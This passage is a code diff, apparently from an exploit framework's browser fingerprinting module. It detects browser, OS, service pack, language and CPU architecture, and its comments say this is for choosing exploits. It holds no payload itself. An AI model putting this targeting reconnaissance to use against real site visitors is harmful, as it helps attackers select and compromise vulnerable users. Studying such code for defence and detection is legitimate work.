+ // Mozilla/5.0 (Linux; U; Android 2.2; en-au; GT-I9000 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
149
+ // Mozilla/5.0 (iPod; U; CPU iPhone OS 4_2_1 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Mobile/8C148
150
+ // Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B405
151
+ // Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3
152
+
153
+ // Google Chrome has window.google (older versions), window.chromium (older versions), and window.window.chrome (3+)
154
+ if (window.chromium || window.google || window.chrome) {
155
+ ua_name = clients_chrome;
156
+ search = "Chrome";
157
+ } else {
158
+ ua_name = clients_safari;
159
+ search = "Version";
160
+ }
161
+
162
+ platform = navigator.platform.toLowerCase();
163
+ // Just to be a pain, iPod and iPad both leave off "Safari" and
164
+ // "Version" in the UA, see example above. Grab the webkit version
165
+ // instead. =/
166
+ if (platform.match(/ipod/)) {
167
+ os_name = oses_apple_ios;
168
+ os_device = "iPod";
169
+ arch = arch_armle;
170
+ search = "AppleWebKit";
171
+ } else if (platform.match(/ipad/)) {
172
+ os_name = oses_apple_ios;
173
+ os_device = "iPad";
174
+ arch = arch_armle;
175
+ search = "AppleWebKit";
176
+ } else if (platform.match(/iphone/)) {
177
+ os_name = oses_apple_ios;
178
+ os_device = "iPhone";
179
+ arch = arch_armle;
180
+ } else if (platform.match(/macintel/)) {
181
+ os_name = oses_mac_osx;
182
+ arch = arch_x86;
183
+ } else if (platform.match(/linux/)) {
184
+ os_name = oses_linux;
185
+
186
+ if (platform.match(/x86_64/)) {
187
+ arch = arch_x86_64;
188
+ } else if (platform.match(/arm/)) {
189
+ arch = arch_armle;
190
+ } else if (platform.match(/x86/)) {
191
+ arch = arch_x86;
192
+ } else if (platform.match(/mips/)) {
193
+ arch = arch_mipsle;
194
+ }
195
+
196
+ // Android overrides Linux
197
+ if (navigator.userAgent.match(/android/i)) {
198
+ os_name = oses_android;
199
+ }
200
+ } else if (platform.match(/windows/)) {
201
+ os_name = oses_windows;
202
+ }
203
+
204
+ ua_version = this.searchVersion(search, navigator.userAgent);
205
+ if (!ua_version || 0 == ua_version.length) {
206
+ ua_is_lying = true;
207
+ }
208
+ } else if (navigator.oscpu && !document.all && navigator.taintEnabled || 'MozBlobBuilder' in window) {
209
+ // Use taintEnabled to identify FF since other recent browsers
210
+ // implement window.getComputedStyle now. For some reason, checking for
211
+ // taintEnabled seems to cause IE 6 to stop parsing, so make sure this
212
+ // isn't IE first.
213
+
214
+ // Also check MozBlobBuilder because FF 9.0.1 does not support taintEnabled
215
+
216
+ // Then this is a Gecko derivative, assume Firefox since that's the
217
+ // only one we have sploits for. We may need to revisit this in the
218
+ // future. This works for multi/browser/mozilla_compareto against
219
+ // Firefox and Mozilla, so it's probably good enough for now.
220
+ ua_name = clients_ff;
221
+ // Thanks to developer.mozilla.org "Firefox for developers" series for most
222
+ // of these.
223
+ // Release changelogs: http://www.mozilla.org/en-US/firefox/releases/
224
+ if ('closest' in Element.prototype) {
225
+ ua_version = '35.0';
226
+ } else if ('matches' in Element.prototype) {
227
+ ua_version = '34.0';
228
+ } else if ('RadioNodeList' in window) {
229
+ ua_version = '33.0';
230
+ } else if ('copyWithin' in Array.prototype) {
231
+ ua_version = '32.0';
232
+ } else if ('fill' in Array.prototype) {
233
+ ua_version = '31.0';
234
+ } else if (css_is_valid('background-blend-mode', 'backgroundBlendMode', 'multiply')) {
235
+ ua_version = '30.0';
236
+ } else if (css_is_valid('box-sizing', 'boxSizing', 'border-box')) {
237
+ ua_version = '29.0';
238
+ } else if (css_is_valid('flex-wrap', 'flexWrap', 'nowrap')) {
239
+ ua_version = '28.0';
240
+ } else if (css_is_valid('cursor', 'cursor', 'grab')) {
241
+ ua_version = '27.0';
242
+ } else if (css_is_valid('image-orientation',
243
+ 'imageOrientation',
244
+ '0deg')) {
245
+ ua_version = '26.0';
246
+ } else if (css_is_valid('background-attachment',
247
+ 'backgroundAttachment',
248
+ 'local')) {
249
+ ua_version = '25.0';
250
+ } else if ('DeviceStorage' in window && window.DeviceStorage &&
251
+ 'default' in window.DeviceStorage.prototype) {
252
+ // https://bugzilla.mozilla.org/show_bug.cgi?id=874213
253
+ ua_version = '24.0';
254
+ } else if (input_type_is_valid('range')) {
255
+ ua_version = '23.0';
256
+ } else if ('HTMLTimeElement' in window) {
257
+ ua_version = '22.0';
258
+ } else if ('createElement' in document &&
259
+ document.createElement('main') &&
260
+ document.createElement('main').constructor === window['HTMLElement']) {
261
+ ua_version = '21.0';
262
+ } else if ('imul' in Math) {
263
+ ua_version = '20.0';
264
+ } else if (css_is_valid('font-size', 'fontSize', '23vmax')) {
265
+ ua_version = '19.0';
266
+ } else if ('devicePixelRatio' in window) {
267
+ ua_version = '18.0';
268
+ } else if ('createElement' in document &&
269
+ document.createElement('iframe') &&
270
+ 'sandbox' in document.createElement('iframe')) {
271
+ ua_version = '17.0';
272
+ } else if ('mozApps' in navigator && 'install' in navigator.mozApps) {
273
+ ua_version = '16.0';
274
+ } else if ('HTMLSourceElement' in window &&
275
+ HTMLSourceElement.prototype &&
276
+ 'media' in HTMLSourceElement.prototype) {
277
+ ua_version = '15.0';
278
+ } else if ('mozRequestPointerLock' in document.body) {
279
+ ua_version = '14.0';
280
+ } else if ('Map' in window) {
281
+ ua_version = "13.0";
282
+ } else if ('mozConnection' in navigator) {
283
+ ua_version = "12.0";
284
+ } else if ('mozVibrate' in navigator) {
285
+ ua_version = "11.0";
286
+ } else if (css_is_valid('-moz-backface-visibility', 'MozBackfaceVisibility', 'hidden')) {
287
+ ua_version = "10.0";
288
+ } else if ('doNotTrack' in navigator) {
289
+ ua_version = "9.0";
290
+ } else if ('insertAdjacentHTML' in document.body) {
291
+ ua_version = "8.0";
292
+ } else if ('ondeviceorientation' in window && !('createEntityReference' in document)) {
293
+ ua_version = "7.0";
294
+ } else if ('MozBlobBuilder' in window) {
295
+ ua_version = "6.0";
296
+ } else if ('isGenerator' in Function) {
297
+ ua_version = "5.0";
298
+ } else if ('isArray' in Array) {
299
+ ua_version = "4.0";
300
+ } else if (document.readyState) {
301
+ ua_version = "3.6";
302
+ } else if (String.trimRight) {
303
+ ua_version = "3.5";
304
+ } else if (document.getElementsByClassName) {
305
+ ua_version = "3";
306
+ } else if (window.Iterator) {
307
+ ua_version = "2";
308
+ } else if (Array.every) {
309
+ ua_version = "1.5";
310
+ } else {
311
+ ua_version = "1";
312
+ }
313
+ if (navigator.oscpu != navigator.platform) {
314
+ ua_is_lying = true;
315
+ }
316
+ // oscpu is unaffected by changes in the useragent and has values like:
317
+ // "Linux i686"
318
+ // "Windows NT 6.0"
319
+ // haven't tested on 64-bit Windows
320
+ version = navigator.oscpu;
321
+ if (version.match(/i.86/)) {
322
+ arch = arch_x86;
323
+ }
324
+ if (version.match(/x86_64/)) {
325
+ arch = arch_x86_64;
326
+ }
327
+ if (version.match(/Windows/)) {
328
+ os_name = oses_windows;
329
+ // Technically these will mismatch server OS editions, but those are
330
+ // rarely used as client systems and typically have the same exploit
331
+ // characteristics as the associated client.
332
+ switch(version) {
333
+ case "Windows NT 5.0": os_name = "Windows 2000"; break;
334
+ case "Windows NT 5.1": os_name = "Windows XP"; break;
335
+ case "Windows NT 5.2": os_name = "Windows 2003"; break;
336
+ case "Windows NT 6.0": os_name = "Windows Vista"; break;
337
+ case "Windows NT 6.1": os_name = "Windows 7"; break;
338
+ case "Windows NT 6.2": os_name = "Windows 8"; break;
339
+ case "Windows NT 6.3": os_name = "Windows 8.1"; break;
340
+ }
341
+ }
342
+ if (version.match(/Linux/)) {
343
+ os_name = oses_linux;
344
+ }
345
+ // end navigator.oscpu checks
346
+ } else if (typeof ScriptEngineMajorVersion == "function") {
347
+ // Then this is IE and we can very reliably detect the OS.
348
+ // Need to add detection for IE on Mac. Low priority, since we
349
+ // don't have any sploits for it yet and it's a very low market
350
+ // share.
351
+ os_name = oses_windows;
352
+ ua_name = clients_ie;
353
+ version_maj = ScriptEngineMajorVersion().toString();
354
+ version_min = ScriptEngineMinorVersion().toString();
355
+ version_build = ScriptEngineBuildVersion().toString();
356
+
357
+ version = version_maj + version_min + version_build;
358
+
359
+ //document.write("ScriptEngine: "+version+"<br />");
360
+ switch (version){
361
+ case "514615":
362
+ // IE 5.00.2920.0000, 2000 Advanced Server SP0 English
363
+ ua_version = "5.0";
364
+ os_name = "Windows 2000";
365
+ os_sp = "SP0";
366
+ break;
367
+ case "515907":
368
+ os_name = "Windows 2000";
369
+ os_sp = "SP3"; //or SP2: oCC.getComponentVersion('{22d6f312-b0f6-11d0-94ab-0080c74c7e95}', 'componentid') => 6,4,9,1109
370
+ break;
371
+ case "518513":
372
+ os_name = "Windows 2000";
373
+ os_sp = "SP4";
374
+ break;
375
+ case "566626":
376
+ // IE 6.0.2600.0000, XP SP0 English
377
+ // IE 6.0.2800.1106, XP SP1 English
378
+ ua_version = "6.0";
379
+ os_name = "Windows XP";
380
+ os_sp = "SP0";
381
+ break;
382
+ case "568515":
383
+ // IE 6.0.3790.0, 2003 Standard SP0 English
384
+ ua_version = "6.0";
385
+ os_name = "Windows 2003";
386
+ os_sp = "SP0";
387
+ break;
388
+ case "568820":
389
+ // IE 6.0.2900.2180, xp sp2 english
390
+ os_name = "Windows XP";
391
+ os_sp = "SP2";
392
+ break;
393
+ case "568827":
394
+ os_name = "Windows 2003";
395
+ os_sp = "SP1";
396
+ break;
397
+ case "568831": //XP SP2 -OR- 2K SP4
398
+ if (os_name == "2000"){
399
+ os_sp = "SP4";
400
+ }
401
+ else{
402
+ os_name = "Windows XP";
403
+ os_sp = "SP2";
404
+ }
405
+ break;
406
+ case "568832":
407
+ os_name = "Windows 2003";
408
+ os_sp = "SP2";
409
+ break;
410
+ case "568837":
411
+ // IE 6.0.2900.2180, XP Professional SP2 Korean
412
+ ua_version = "6.0";
413
+ os_name = "Windows XP";
414
+ os_sp = "SP2";
415
+ break;
416
+ case "5716599":
417
+ // IE 7.0.5730.13, XP Professional SP3 English
418
+ // IE 6.0.2900.5512, XP Professional SP3 English
419
+ // IE 6.0.2900.5512, XP Professional SP3 Spanish
420
+ //
421
+ // Since this scriptengine applies to more than one major version of
422
+ // IE, rely on the object detection below to determine ua_version.
423
+ //ua_version = "6.0";
424
+ os_name = "Windows XP";
425
+ os_sp = "SP3";
426
+ break;
427
+ case "575730":
428
+ // IE 7.0.5730.13, Server 2003 Standard SP2 English
429
+ // IE 7.0.5730.13, Server 2003 Standard SP1 English
430
+ // IE 7.0.5730.13, XP Professional SP2 English
431
+ // Rely on the user agent matching above to determine the OS.
432
+ // This will incorrectly identify 2k3 SP1 as SP2
433
+ ua_version = "7.0";
434
+ os_sp = "SP2";
435
+ break;
436
+ case "5718066":
437
+ // IE 7.0.5730.13, XP Professional SP3 English
438
+ ua_version = "7.0";
439
+ os_name = "Windows XP";
440
+ os_sp = "SP3";
441
+ break;
442
+ case "5722589":
443
+ // IE 7.0.5730.13, XP Professional SP3 English
444
+ ua_version = "7.0";
445
+ os_name = "Windows XP";
446
+ os_sp = "SP3";
447
+ break;
448
+ case "576000":
449
+ // IE 7.0.6000.16386, Vista Ultimate SP0 English
450
+ ua_version = "7.0";
451
+ os_name = "Windows Vista";
452
+ os_sp = "SP0";
453
+ break;
454
+ case "580":
455
+ // IE 8.0.7100.0, Windows 7 English
456
+ // IE 8.0.7100.0, Windows 7 64-bit English
457
+ case "5816385":
458
+ // IE 8.0.7600.16385, Windows 7 English
459
+ case "5816475":
460
+ case "5816762":
461
+ // IE 8.0.7600.16385, Windows 7 English
462
+ ua_version = "8.0";
463
+ os_name = "Windows 7";
464
+ os_sp = "SP0";
465
+ break;
466
+ case "5817514":
467
+ // IE 8.0.7600.17514, Windows 7 SP1 English
468
+ ua_version = "8.0";
469
+ os_name = "Windows 7";
470
+ os_sp = "SP1";
471
+ break;
472
+ case "5818702":
473
+ // IE 8.0.6001.18702, XP Professional SP3 English
474
+ case "5822960":
475
+ // IE 8.0.6001.18702, XP Professional SP3 Greek
476
+ ua_version = "8.0";
477
+ os_name = "Windows XP";
478
+ os_sp = "SP3";
479
+ break;
480
+ case "9016406":
481
+ // IE 9.0.7930.16406, Windows 7 64-bit
482
+ ua_version = "9.0";
483
+ os_name = "Windows 7";
484
+ os_sp = "SP0";
485
+ break;
486
+ case "9016441":
487
+ // IE 9.0.8112.16421, Windows 7 32-bit English
488
+ ua_version = "9.0";
489
+ os_name = "Windows 7";
490
+ os_sp = "SP1";
491
+ break;
492
+ case "9016443":
493
+ // IE 9.0.8112.16421, Windows 7 Polish
494
+ // Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
495
+ ua_version = "9.0";
496
+ os_name = "Windows 7";
497
+ os_sp = "SP1";
498
+ break;
499
+ case "9016446":
500
+ // IE 9.0.8112.16421, Windows 7 English (Update Versions: 9.0.7 (KB2699988)
501
+ // Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MASA; InfoPath.3; MS-RTC LM 8; BRI/2)Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MASA; InfoPath.3; MS-RTC LM 8; BRI/2)
502
+ ua_version = "9.0";
503
+ os_name = "Windows 7";
504
+ os_sp = "SP1";
505
+ break;
506
+ case "9016464":
507
+ // browsershots.org, MSIE 7.0 / Windows 2008 R2
508
+ os_name = "Windows 2008 R2";
509
+ ua_version = "9.0";
510
+ break;
511
+ case "9016470":
512
+ // IE 9.0.8112.16421 / Windows 7 SP1
513
+ ua_version = "9.0";
514
+ os_name = "Windows 7";
515
+ os_sp = "SP1";
516
+ break;
517
+ case "9016502":
518
+ // IE 9.0.8112.16502 / Windows 7 SP1
519
+ ua_version = "9.0";
520
+ os_name = "Windows 7";
521
+ os_sp = "SP1";
522
+ break;
523
+ case "9016506":
524
+ // IE 9.0.8112.16506 / Windows 7 SP1
525
+ ua_version = "9.0";
526
+ os_name = "Windows 7";
527
+ os_sp = "SP1";
528
+ break;
529
+ case "9016514":
530
+ // IE 9.0.8112.16514 / Windows 7 SP1
531
+ ua_version = "9.0";
532
+ os_name = "Windows 7";
533
+ os_sp = "SP1";
534
+ break;
535
+ case "9016520":
536
+ // IE 9.0.8112.16520 / Windows 7 SP1
537
+ ua_version = "9.0";
538
+ os_name = "Windows 7";
539
+ os_sp = "SP1";
540
+ break;
541
+ case "9016526":
542
+ // IE 9.0.8112.16526 / Windows 7 SP1
543
+ ua_version = "9.0";
544
+ os_name = "Windows 7";
545
+ os_sp = "SP1";
546
+ break;
547
+ case "9016533":
548
+ // IE 9.0.8112.16533 / Windows 7 SP1
549
+ ua_version = "9.0";
550
+ os_name = "Windows 7";
551
+ os_sp = "SP1";
552
+ break;
553
+ case "10016720":
554
+ // IE 10.0.9200.16721 / Windows 7 SP1
555
+ ua_version = "10.0";
556
+ os_name = "Windows 7";
557
+ os_sp = "SP1";
558
+ break;
559
+ case "11016428":
560
+ // IE 11.0.9600.16428 / Windows 7 SP1
561
+ ua_version = "11.0";
562
+ os_name = "Windows 7";
563
+ os_sp = "SP1";
564
+ break;
565
+ case "10016384":
566
+ // IE 10.0.9200.16384 / Windows 8 x86
567
+ ua_version = "10.0";
568
+ os_name = "Windows 8";
569
+ os_sp = "SP0";
570
+ break;
571
+ case "11016426":
572
+ // IE 11.0.9600.16476 / KB2898785 (Technically: 11.0.2) Windows 8.1 x86 English
573
+ ua_version = "11.0";
574
+ os_name = "Windows 8.1";
575
+ break;
576
+ case "1000":
577
+ // IE 10.0.8400.0 (Pre-release + KB2702844), Windows 8 x86 English Pre-release
578
+ ua_version = "10.0";
579
+ os_name = "Windows 8";
580
+ os_sp = "SP0";
581
+ break;
582
+ case "1100":
583
+ // IE 11.0.10011.0 Windows 10.0 (Build 10074) English - insider preview
584
+ ua_version = "11.0";
585
+ os_name = "Windows 10";
586
+ os_sp = "SP0";
587
+ break;
588
+ default:
589
+ unknown_fingerprint = version;
590
+ break;
591
+ }
592
+
593
+ if (!ua_version) {
594
+ // The ScriptEngine functions failed us, try some object detection
595
+ if (document.documentElement && (typeof document.documentElement.style.maxHeight)!="undefined") {
596
+ // IE 11 detection, see: http://msdn.microsoft.com/en-us/library/ie/bg182625(v=vs.85).aspx
597
+ try {
598
+ if (document.__proto__ != undefined) { ua_version = "11.0"; }
599
+ } catch (e) {}
600
+
601
+ // IE 10 detection using nodeName
602
+ if (!ua_version) {
603
+ try {
604
+ var badNode = document.createElement && document.createElement("badname");
605
+ if (badNode && badNode.nodeName === "BADNAME") { ua_version = "10.0"; }
606
+ } catch(e) {}
607
+ }
608
+
609
+ // IE 9 detection based on a "Object doesn't support property or method" error
610
+ if (!ua_version) {
611
+ try {
612
+ document.BADNAME();
613
+ } catch(e) {
614
+ if (e.message.indexOf("BADNAME") > 0) {
615
+ ua_version = "9.0";
616
+ }
617
+ }
618
+ }
619
+
620
+ // IE8 detection straight from IEBlog. Thank you Microsoft.
621
+ if (!ua_version) {
622
+ try {
623
+ ua_version = "8.0";
624
+ document.documentElement.style.display = "table-cell";
625
+ } catch(e) {
626
+ // This executes in IE7,
627
+ // but not IE8, regardless of mode
628
+ ua_version = "7.0";
629
+ }
630
+ }
631
+ } else if (document.compatMode) {
632
+ ua_version = "6.0";
633
+ } else if (window.createPopup) {
634
+ ua_version = "5.5";
635
+ } else if (window.attachEvent) {
636
+ ua_version = "5.0";
637
+ } else {
638
+ ua_version = "4.0";
639
+ }
640
+ switch (navigator.appMinorVersion){
641
+ case ";SP2;":
642
+ os_sp = "SP2";
643
+ break;
644
+ }
645
+ }
646
+ }
647
+
648
+ if (!os_name && navigator.platform == "Win32") { os_name = oses_windows; }
649
+
650
+ //--
651
+ // Figure out the type of Windows
652
+ //--
653
+ if (!ua_is_lying) {
654
+ version = useragent.toLowerCase();
655
+ } else if (navigator.oscpu) {
656
+ // Then this is Gecko and we can get at least os_name without the
657
+ // useragent
658
+ version = navigator.oscpu.toLowerCase();
659
+ } else {
660
+ // All we have left is the useragent and we know it's lying, so don't bother
661
+ version = " ";
662
+ }
663
+ if (!os_name || 0 == os_name.length) {
664
+ if (version.indexOf("windows") != -1) { os_name = oses_windows; }
665
+ else if (version.indexOf("mac") != -1) { os_name = oses_mac_osx; }
666
+ else if (version.indexOf("linux") != -1) { os_name = oses_linux; }
667
+ }
668
+ if (os_name == oses_windows) {
669
+ if (version.indexOf("windows 95") != -1) { os_name = "Windows 95"; }
670
+ else if (version.indexOf("windows nt 4") != -1) { os_name = "Windows NT"; }
671
+ else if (version.indexOf("win 9x 4.9") != -1) { os_name = "Windows ME"; }
672
+ else if (version.indexOf("windows 98") != -1) { os_name = "Windows 98"; }
673
+ else if (version.indexOf("windows nt 5.0") != -1) { os_name = "Windows 2000"; }
674
+ else if (version.indexOf("windows nt 5.1") != -1) { os_name = "Windows XP"; }
675
+ else if (version.indexOf("windows nt 5.2") != -1) { os_name = "Windows 2003"; }
676
+ else if (version.indexOf("windows nt 6.0") != -1) { os_name = "Windows Vista"; }
677
+ else if (version.indexOf("windows nt 6.1") != -1) { os_name = "Windows 7"; }
678
+ else if (version.indexOf("windows nt 6.2") != -1) { os_name = "Windows 8"; }
679
+ else if (version.indexOf("windows nt 6.3") != -1) { os_name = "Windows 8.1"; }
680
+ }
681
+ if (os_name == oses_linux && (!os_vendor || 0 == os_vendor.length)) {
682
+ if (version.indexOf("gentoo") != -1) { os_vendor = "Gentoo"; }
683
+ else if (version.indexOf("ubuntu") != -1) { os_vendor = "Ubuntu"; }
684
+ else if (version.indexOf("debian") != -1) { os_vendor = "Debian"; }
685
+ else if (version.indexOf("rhel") != -1) { os_vendor = "RHEL"; }
686
+ else if (version.indexOf("red hat") != -1) { os_vendor = "RHEL"; }
687
+ else if (version.indexOf("centos") != -1) { os_vendor = "CentOS"; }
688
+ else if (version.indexOf("fedora") != -1) { os_vendor = "Fedora"; }
689
+ else if (version.indexOf("android") != -1) { os_vendor = "Android"; }
690
+ }
691
+
692
+ //--
693
+ // Language
694
+ //--
695
+ if (navigator.systemLanguage) {
696
+ // ie
697
+ os_lang = navigator.systemLanguage;
698
+ } else if (navigator.language) {
699
+ // gecko derivatives, safari, opera
700
+ os_lang = navigator.language;
701
+ } else {
702
+ // some other browser and we don't know how to get the language, so
703
+ // just guess english
704
+ os_lang = "en";
705
+ }
706
+
707
+ //--
708
+ // Architecture
709
+ //--
710
+ if (typeof(navigator.cpuClass) != 'undefined') {
711
+ // Then this is IE or Opera9+ and we can grab the arch directly
712
+ switch (navigator.cpuClass) {
713
+ case "x86":
714
+ arch = arch_x86;
715
+ break;
716
+ case "x64":
717
+ arch = arch_x86_64;
718
+ break;
719
+ }
720
+ }
721
+ if (!arch || 0 == arch.length) {
722
+ // We don't have the handy-dandy navagator.cpuClass, so infer from
723
+ // platform
724
+ version = navigator.platform;
725
+ //document.write(version + "\\n");
726
+ // IE 8 does a bit of wacky user-agent switching for "Compatibility View";
727
+ // 64-bit client on Windows 7, 64-bit:
728
+ // Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)
729
+ // 32-bit client on Windows 7, 64-bit:
730
+ // Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)
731
+ // 32-bit client on Vista, 32-bit, "Compatibility View":
732
+ // Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0)
733
+ //
734
+ // Report 32-bit client on 64-bit OS as being 32 because exploits will
735
+ // need to know the bittedness of the process, not the OS.
736
+ if ( ("Win32" == version) || (version.match(/i.86/)) ) {
737
+ arch = arch_x86;
738
+ } else if (-1 != version.indexOf('x64') || (-1 != version.indexOf('x86_64'))) {
739
+ arch = arch_x86_64;
740
+ } else if (-1 != version.indexOf('PPC')) {
741
+ arch = arch_ppc;
742
+ }
743
+ }
744
+
745
+ this.ua_is_lying = ua_is_lying;
746
+ this.os_name = os_name;
747
+ this.os_vendor = os_vendor;
748
+ this.os_flavor = os_flavor;
749
+ this.os_device = os_device;
750
+ this.os_sp = os_sp;
751
+ this.os_lang = os_lang;
752
+ this.arch = arch;
753
+ this.ua_name = ua_name;
754
+ this.ua_version = ua_version;
755
+ this.ua_version = ua_version;
756
+
757
+ return { os_name:os_name, os_vendor:os_vendor, os_flavor:os_flavor, os_device:os_device, os_sp:os_sp, os_lang:os_lang, arch:arch, ua_name:ua_name, ua_version:ua_version };
758
+ }; // function getVersion
759
+
760
+ os_detect.searchVersion = function(needle, haystack) {
761
+ var index = haystack.indexOf(needle);
762
+ var found_version;
763
+ if (index == -1) { return; }
764
+ found_version = haystack.substring(index+needle.length+1);
765
+ if (found_version.indexOf(' ') != -1) {
766
+ // Strip off any junk at the end such as a CLR declaration
767
+ found_version = found_version.substring(0,found_version.indexOf(' '));
768
+ }
769
+ return found_version;
770
+ };
771
+
772
+
773
+ /*
774
+ * Return -1 if a < b, 0 if a == b, 1 if a > b
775
+ */
776
+ ua_ver_cmp = function(ver_a, ver_b) {
777
+ // shortcut the easy case
778
+ if (ver_a == ver_b) {
779
+ return 0;
780
+ }
781
+
782
+ a = ver_a.split(".");
783
+ b = ver_b.split(".");
784
+ for (var i = 0; i < Math.max(a.length, b.length); i++) {
785
+ // 3.0 == 3
786
+ if (!b[i]) { b[i] = "0"; }
787
+ if (!a[i]) { a[i] = "0"; }
788
+
789
+ if (a[i] == b[i]) { continue; }
790
+
791
+ a_int = parseInt(a[i]);
792
+ b_int = parseInt(b[i]);
793
+ a_rest = a[i].substr(a_int.toString().length);
794
+ b_rest = b[i].substr(b_int.toString().length);
795
+ if (a_int < b_int) {
796
+ return -1;
797
+ } else if (a_int > b_int) {
798
+ return 1;
799
+ } else { // ==
800
+ // Then we need to deal with the stuff after the ints, e.g.:
801
+ // "b4pre"
802
+ if (a_rest == "b" && b_rest.length == 0) {
803
+ return -1;
804
+ }
805
+ if (b_rest == "b" && a_rest.length == 0) {
806
+ return 1;
807
+ }
808
+ // Just give up and try a lexicographical comparison
809
+ if (a_rest < b_rest) {
810
+ return -1;
811
+ } else if (a_rest > b_rest) {
812
+ return 1;
813
+ }
814
+ }
815
+ }
816
+ // If we get here, they must be equal
817
+ return 0;
818
+ };
819
+
820
+ ua_ver_lt = function(a, b) {
821
+ if (-1 == this.ua_ver_cmp(a,b)) { return true; }
822
+ return false;
823
+ };
824
+ ua_ver_gt = function(a, b) {
825
+ if (1 == this.ua_ver_cmp(a,b)) { return true; }
826
+ return false;
827
+ };
828
+ ua_ver_eq = function(a, b) {
829
+ if (0 == this.ua_ver_cmp(a,b)) { return true; }
830
+ return false;
831
+ };